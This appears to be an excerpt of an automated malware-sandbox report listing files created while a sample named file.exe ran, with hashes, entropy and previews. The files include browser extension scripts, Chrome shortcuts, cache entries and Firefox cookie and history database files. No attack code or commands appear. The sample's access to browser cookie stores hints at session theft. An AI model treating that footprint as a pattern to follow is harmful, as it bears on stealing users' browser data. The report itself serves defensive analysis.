Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6596_58898632\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6596_58898632\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6596_58898632\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_58898632\dc19dbcb-d439-48cb-9574-385bd4ecbe45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 27 15:54:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.989928963930309
Encrypted:	false
SSDEEP:	48:8nKodPQTv0ibYHMidAKZdA19ehwiZUklqehky+3:8oPjHy
MD5:	18494CB7A2DC72CDA2E6AD5E3CAC4CE1
SHA1:	5786E70A2DB1C8C6E932C2886ED8B542881E33E4
SHA-256:	14719AF03F44671924C9F968ECF792351478029AA35CBAD61293DE3115342241
SHA-512:	145688C7D4D3B3977F435C48858809AC787AB5885D9AF1E806BD7C78BC9048258BFB321D1048C13DE514FB0B27A00537B4957159E286A3CF40A6D53E43A8DB57
Malicious:	false
Preview:	L..................F.@.. ...$+.,........(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 27 15:54:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.005015486140641
Encrypted:	false
SSDEEP:	48:8EKodPQTv0ibYHMidAKZdA1weh/iZUkAQkqeh3y+2:81PR9Q2y
MD5:	DE8C7B327C23DCD479E9EDD74B70A922
SHA1:	EA1BD8AD0A08457D50F5C226C973EA381074FA5E
SHA-256:	FDFE3999508115A464A8EA98A5C84C7942CED4E1693BF6BFFD2BB9AC058DC678
SHA-512:	A773911449F10D11F0E4B074165E46A4E68CA34498E20C6E53B6DADF30CD4ABC177995A114D4784771D77B6A6A88F22106C54E529041E967A33F5D0A683796F4
Malicious:	false
Preview:	L..................F.@.. ...$+.,........(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.012610384771218
Encrypted:	false
SSDEEP:	48:8xOodPQTv0ibsHMidAKZdA14tseh7sFiZUkmgqeh7s5y+BX:8x0PtnLy
MD5:	A19AD7799FD769110E4AF4FFDB4847E0
SHA1:	DDA2397D3D7896A3AC5656C6AE936B83C45845AE
SHA-256:	32CE0145B7BDAA729E3094E49C927D1054FFA3F453046F8E2240416EEF06CF82
SHA-512:	00935CC072B604C91E6D4B57C6BE429C5B614110B141912D43D35F0AC0D858D8AD9FFEFA455FBD84CD38BE9AAB080D2B23ACF0181051A9E8FD641340330BF932
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 27 15:54:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.0033735448215655
Encrypted:	false
SSDEEP:	48:84KodPQTv0ibYHMidAKZdA1vehDiZUkwqehjy+R:8xPSRy
MD5:	B1E0032D7982C8EB6DBAD74F126EA013
SHA1:	0541C19CD0C6E1507730E5D36A16E95CB6A98F2D
SHA-256:	38812C0F777E79C4100D5C6C326B10A2DC36E2B0DAC24E4E675A20949D3E65A0
SHA-512:	C93D00552253B4E81A020DF8DB904884DAAF3472126A51C4073FC8DF40BC82DBA0140C2C5B968E212C783B4C6BDB721B41C9163BC5C229E0AC329FF09F97C580
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 27 15:54:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992225030860249
Encrypted:	false
SSDEEP:	48:8gKodPQTv0ibYHMidAKZdA1hehBiZUk1W1qeh9y+C:8ZPi9dy
MD5:	E946AE784F33CFD42D01CBA9E714D749
SHA1:	EBF99958CA8D0EE829A7D30FD12E46D207BC41B9
SHA-256:	B0C03F2AA9779C17E2F5D297924582F5DADCE7C6BD4D0909B45586201B24F4C4
SHA-512:	EDC0B9FE276B8D90F20CDF4D38110901010A737F081F05667946909687940D7A11AC24EA6718873BDFE35792071BC41CE3319788A22D196A35AF004118E30A7C
Malicious:	false
Preview:	L..................F.@.. ...$+.,........(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 27 15:54:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.000759266784131
Encrypted:	false
SSDEEP:	48:8RKodPQTv0ibYHMidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8yPcT/TbxWOvTbLy7T
MD5:	87426F26FA4EE4D64701E557133A3420
SHA1:	D129CB3EC9ABFA8D4C83F36CFA918EB556B97F72
SHA-256:	15B762E382D0077BE999E0E698BAF3EBCE3EC2804F802088B0EB3E08673E6906
SHA-512:	468438A96D102E656E932B190146E37A07B890349347582FAAB895C795D460F50813D3192FD4787A93148909DA42ABD0F6E6ACC9AEAB9EA9AAA7E8BC5DCAD576
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....-..(..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I[Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ex.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (806)
Category:	downloaded
Size (bytes):	811
Entropy (8bit):	5.1474502797061366
Encrypted:	false
SSDEEP:	24:lZogKZvDSBHslgT9lCuABuoB7HHHHHHHYqmffffffo:lZolbSKlgZ01BuSEqmffffffo
MD5:	6314B5FB3FA739D380BB924E80B63EB0
SHA1:	840A09A24490CC4793BDD7D32632416E2879B430
SHA-256:	70745138FE6500F09A85692E3CB861B23ECFB251CE762615EC695C5D14B3190F
SHA-512:	587DE778F031C70856D4C5A4EA9BDB41C5E80B42E5AA63628519175A26CAF92BD6B295430BCD5FC02C6C13237D93D49DCAA3148D31612FF113A7D010BA0D342A
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
